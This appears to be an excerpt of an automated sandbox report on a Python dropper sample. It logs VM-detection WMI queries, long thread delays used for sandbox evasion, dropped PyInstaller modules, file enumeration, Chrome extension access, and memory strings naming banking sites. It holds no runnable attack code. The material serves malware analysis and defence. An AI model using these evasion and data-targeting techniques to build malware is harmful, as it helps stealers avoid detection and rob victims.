Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : ASSOCIATORS OF {Win32_NetworkAdapter.DeviceID="1"} WHERE ResultClass=Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_NetworkAdapterSetting where Element="Win32_NetworkAdapter.DeviceID=\"1\""

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 455	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4899	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4440	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 353	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4550
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1301
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3420
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1705
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5989
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1029
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3685
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1727
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2743
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1273
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3192
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 809

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76002\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76002\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76002\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76002\_lzma.pyd	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\c3m2uwl3\c3m2uwl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76002\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76002\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76002\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76002\python311.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76002\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76002\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76002\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76002\unicodedata.pyd	Jump to dropped file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-17488

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe

API coverage: 1.3 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7996	Thread sleep count: 455 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7996	Thread sleep count: 4899 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5672	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8080	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8004	Thread sleep count: 4440 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6784	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8004	Thread sleep count: 353 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8088	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8012	Thread sleep count: 4550 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7432	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8012	Thread sleep count: 258 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8104	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8268	Thread sleep count: 1301 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8512	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8412	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8836	Thread sleep count: 3420 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8864	Thread sleep time: -8301034833169293s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8824	Thread sleep count: 1705 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8852	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3236	Thread sleep count: 5989 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3236	Thread sleep count: 1029 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2984	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2524	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep count: 3685 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7632	Thread sleep count: 1727 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4052	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3576	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8432	Thread sleep count: 2743 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8740	Thread sleep count: 1273 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8704	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8728	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9032	Thread sleep count: 3192 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9028	Thread sleep count: 809 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9068	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8992	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT TotalPhysicalMemory FROM Win32_ComputerSystem
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B110842C _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF7B110842C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B10F8AF0 FindFirstFileExW,FindClose,	0_2_00007FF7B10F8AF0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B11124C4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF7B11124C4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B110842C _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF7B110842C
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2D46EC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	72_2_00007FF71D2D46EC
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D3188E0 FindFirstFileExA,	72_2_00007FF71D3188E0
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D2CE21C FindFirstFileW,FindClose,CreateFileW,DeviceIoControl,CloseHandle,	72_2_00007FF71D2CE21C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales	Jump to behavior

Source: getmac.exe, 0000002B.00000003.1439440681.000001ABF5664000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000002B.00000002.1440054173.000001ABF5673000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1757952150.000001619718F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696497155
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1765055251.0000016196E10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxservice
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1757952150.000001619718F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: getmac.exe, 0000002B.00000003.1439440681.000001ABF5664000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V\|
Source: getmac.exe, 0000002B.00000003.1439440681.000001ABF5664000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000002B.00000002.1440054173.000001ABF5673000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1765055251.0000016196E10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmsrvc
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1457473239.0000016196D0F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1434396229.0000016196D0F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1424053605.0000016196D08000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1764753885.0000016196C5D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWa
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1757952150.000001619718F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696497155
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1757952150.000001619718F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696497155x
